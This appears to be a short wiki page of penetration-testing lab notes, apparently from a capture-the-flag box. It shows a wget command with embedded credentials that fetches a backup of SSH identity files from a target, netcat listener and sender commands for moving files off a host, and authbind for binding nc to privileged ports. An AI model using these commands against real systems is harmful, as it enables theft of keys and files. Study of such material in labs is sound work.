Skip to content
Alvin Smith edited this page Aug 31, 2021 · 13 revisions

First, check whether or not this target is allowed to connect

tcpdump -i tun0 icmp
ip -a link

File transfer and others

Bonus: nc file transfer can bypass password credentials

wget http://david:Nowonly4me@10.10.10.165/~david/protected-file-area/backup-ssh-identity-files.tgz
nc won't need Nowonly4me
# On the receiving end running,
nc -l -p 1234 > out.file
# On the sending end running,
nc -w 3 <IP> 1234 < out.file

authbind to make nc better

authbind nc -lnvp 80 https://en.wikipedia.org/wiki/Authbind

Please also bear in mind that authbind can be used everywhere. e.g.authbind python -m pyftpdlib -p21 -w

Clone this wiki locally